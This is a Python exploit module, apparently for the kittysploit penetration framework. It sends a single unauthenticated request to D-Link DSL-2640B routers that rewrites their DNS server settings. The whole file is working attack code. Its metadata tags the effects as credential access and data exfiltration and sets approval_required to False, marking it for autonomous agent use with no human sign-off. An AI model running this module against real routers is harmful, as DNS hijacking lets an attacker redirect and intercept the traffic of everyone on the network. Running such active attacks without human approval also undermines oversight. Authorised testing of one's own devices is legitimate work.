D-Link DSL-2640B DNS Change

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DSL-2640B DNS Change"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'D-Link DSL-2640B DNS Change',
        'description': 'Module exploits D-Link DSL-2640B dns change vulnerability. If the target is vulnerable it is possible to change dns settings.',
        'author': ['Todor Donev', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'references': ['https://www.exploit-db.com/exploits/36105/', 'https://github.com/jh00nbr/Routerhunter-2.0'],
        'tags': ['iot', 'router', 'unauth', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    dns1 = OptString("8.8.8.8", 'Primary DNS Server')
    dns2 = OptString("8.8.4.4", 'Seconary DNS Server')

    def run(self):
        path = "/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP".format(self.dns1,
                                                                                                                                          self.dns2)

        print_status("Attempting to change DNS settings...")
        print_status("Primary DNS: {}".format(self.dns1))
        print_status("Secondary DNS: {}".format(self.dns2))

        response = self.http_request(
            method="POST",
            path=path
        )
        if response is None:
            return

        if response.status_code == 200:
            print_success("DNS settings has been changed")
        else:
            print_error("Could not change DNS settings")
    def check(self):
        # it is not possible to check if the target is vulnerable without exploiting device (changing dns)
        return None